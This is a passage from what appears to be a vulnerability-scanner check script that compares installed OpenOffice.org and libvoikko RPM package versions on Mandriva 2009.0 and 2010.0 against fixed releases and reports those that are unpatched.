isrpmvuln(pkg:\"openoffice.org-l10n-ru\", rpm:\"openoffice.org-l10n-ru~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-sk\", rpm:\"openoffice.org-l10n-sk~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-sl\", rpm:\"openoffice.org-l10n-sl~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-sv\", rpm:\"openoffice.org-l10n-sv~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ta\", rpm:\"openoffice.org-l10n-ta~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-tr\", rpm:\"openoffice.org-l10n-tr~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-zh_CN\", rpm:\"openoffice.org-l10n-zh_CN~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-zh_TW\", rpm:\"openoffice.org-l10n-zh_TW~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-zu\", rpm:\"openoffice.org-l10n-zu~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-math\", rpm:\"openoffice.org-math~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-mono\", rpm:\"openoffice.org-mono~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-openclipart\", rpm:\"openoffice.org-openclipart~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-pdfimport\", rpm:\"openoffice.org-pdfimport~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-presentation-minimizer\", rpm:\"openoffice.org-presentation-minimizer~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-presenter-screen\", rpm:\"openoffice.org-presenter-screen~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-pyuno\", rpm:\"openoffice.org-pyuno~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-crystal\", rpm:\"openoffice.org-style-crystal~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-galaxy\", rpm:\"openoffice.org-style-galaxy~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-hicontrast\", rpm:\"openoffice.org-style-hicontrast~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-industrial\", rpm:\"openoffice.org-style-industrial~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-tango\", rpm:\"openoffice.org-style-tango~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-testtool\", rpm:\"openoffice.org-testtool~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-voikko\", rpm:\"openoffice.org-voikko~3.1~3.2mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-wiki-publisher\", rpm:\"openoffice.org-wiki-publisher~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-writer\", rpm:\"openoffice.org-writer~3.1.1~2.6mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n\n\nif(release == \"MNDK_2009.0\")\n{\n\n if ((res = isrpmvuln(pkg:\"libvoikko1\", rpm:\"libvoikko1~2.2.1~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libvoikko-devel\", rpm:\"libvoikko-devel~2.2.1~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org\", rpm:\"openoffice.org~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-base\", rpm:\"openoffice.org-base~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-calc\", rpm:\"openoffice.org-calc~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-common\", rpm:\"openoffice.org-common~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-core\", rpm:\"openoffice.org-core~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-devel\", rpm:\"openoffice.org-devel~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-devel-doc\", rpm:\"openoffice.org-devel-doc~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-draw\", rpm:\"openoffice.org-draw~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-filter-binfilter\", rpm:\"openoffice.org-filter-binfilter~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-gnome\", rpm:\"openoffice.org-gnome~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-af\", rpm:\"openoffice.org-help-af~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ar\", rpm:\"openoffice.org-help-ar~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-bg\", rpm:\"openoffice.org-help-bg~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-br\", rpm:\"openoffice.org-help-br~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-bs\", rpm:\"openoffice.org-help-bs~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ca\", rpm:\"openoffice.org-help-ca~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-cs\", rpm:\"openoffice.org-help-cs~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-cy\", rpm:\"openoffice.org-help-cy~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-da\", rpm:\"openoffice.org-help-da~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-de\", rpm:\"openoffice.org-help-de~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-el\", rpm:\"openoffice.org-help-el~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-en_GB\", rpm:\"openoffice.org-help-en_GB~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-en_US\", rpm:\"openoffice.org-help-en_US~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-es\", rpm:\"openoffice.org-help-es~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-et\", rpm:\"openoffice.org-help-et~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-eu\", rpm:\"openoffice.org-help-eu~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-fi\", rpm:\"openoffice.org-help-fi~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-fr\", rpm:\"openoffice.org-help-fr~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-he\", rpm:\"openoffice.org-help-he~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-hi\", rpm:\"openoffice.org-help-hi~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-hu\", rpm:\"openoffice.org-help-hu~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-it\", rpm:\"openoffice.org-help-it~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ja\", rpm:\"openoffice.org-help-ja~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ko\", rpm:\"openoffice.org-help-ko~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-mk\", rpm:\"openoffice.org-help-mk~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-nb\", rpm:\"openoffice.org-help-nb~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-nl\", rpm:\"openoffice.org-help-nl~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-nn\", rpm:\"openoffice.org-help-nn~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-pl\", rpm:\"openoffice.org-help-pl~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-pt\", rpm:\"openoffice.org-help-pt~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-pt_BR\", rpm:\"openoffice.org-help-pt_BR~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ru\", rpm:\"openoffice.org-help-ru~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-sk\", rpm:\"openoffice.org-help-sk~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-sl\", rpm:\"openoffice.org-help-sl~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-sv\", rpm:\"openoffice.org-help-sv~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-ta\", rpm:\"openoffice.org-help-ta~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-tr\", rpm:\"openoffice.org-help-tr~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-zh_CN\", rpm:\"openoffice.org-help-zh_CN~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-zh_TW\", rpm:\"openoffice.org-help-zh_TW~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-help-zu\", rpm:\"openoffice.org-help-zu~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-impress\", rpm:\"openoffice.org-impress~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-java-common\", rpm:\"openoffice.org-java-common~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-af\", rpm:\"openoffice.org-l10n-af~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ar\", rpm:\"openoffice.org-l10n-ar~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-bg\", rpm:\"openoffice.org-l10n-bg~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-br\", rpm:\"openoffice.org-l10n-br~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-bs\", rpm:\"openoffice.org-l10n-bs~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ca\", rpm:\"openoffice.org-l10n-ca~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-cs\", rpm:\"openoffice.org-l10n-cs~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-cy\", rpm:\"openoffice.org-l10n-cy~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-da\", rpm:\"openoffice.org-l10n-da~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-de\", rpm:\"openoffice.org-l10n-de~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-el\", rpm:\"openoffice.org-l10n-el~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-en_GB\", rpm:\"openoffice.org-l10n-en_GB~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-es\", rpm:\"openoffice.org-l10n-es~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-et\", rpm:\"openoffice.org-l10n-et~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-eu\", rpm:\"openoffice.org-l10n-eu~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-fi\", rpm:\"openoffice.org-l10n-fi~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-fr\", rpm:\"openoffice.org-l10n-fr~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-he\", rpm:\"openoffice.org-l10n-he~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-hi\", rpm:\"openoffice.org-l10n-hi~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-hu\", rpm:\"openoffice.org-l10n-hu~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-it\", rpm:\"openoffice.org-l10n-it~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ja\", rpm:\"openoffice.org-l10n-ja~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ko\", rpm:\"openoffice.org-l10n-ko~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-mk\", rpm:\"openoffice.org-l10n-mk~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-nb\", rpm:\"openoffice.org-l10n-nb~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-nl\", rpm:\"openoffice.org-l10n-nl~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-nn\", rpm:\"openoffice.org-l10n-nn~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-pl\", rpm:\"openoffice.org-l10n-pl~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-pt\", rpm:\"openoffice.org-l10n-pt~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-pt_BR\", rpm:\"openoffice.org-l10n-pt_BR~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ru\", rpm:\"openoffice.org-l10n-ru~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-sk\", rpm:\"openoffice.org-l10n-sk~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-sl\", rpm:\"openoffice.org-l10n-sl~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-sv\", rpm:\"openoffice.org-l10n-sv~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-ta\", rpm:\"openoffice.org-l10n-ta~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-tr\", rpm:\"openoffice.org-l10n-tr~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-zh_CN\", rpm:\"openoffice.org-l10n-zh_CN~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-zh_TW\", rpm:\"openoffice.org-l10n-zh_TW~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-l10n-zu\", rpm:\"openoffice.org-l10n-zu~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-math\", rpm:\"openoffice.org-math~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-mono\", rpm:\"openoffice.org-mono~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-openclipart\", rpm:\"openoffice.org-openclipart~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-pdfimport\", rpm:\"openoffice.org-pdfimport~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-presentation-minimizer\", rpm:\"openoffice.org-presentation-minimizer~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-presenter-screen\", rpm:\"openoffice.org-presenter-screen~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-pyuno\", rpm:\"openoffice.org-pyuno~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"openoffice.org-style-crystal\", rpm:\"openoffice.org-style-crystal~3.1.1~0.7mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = 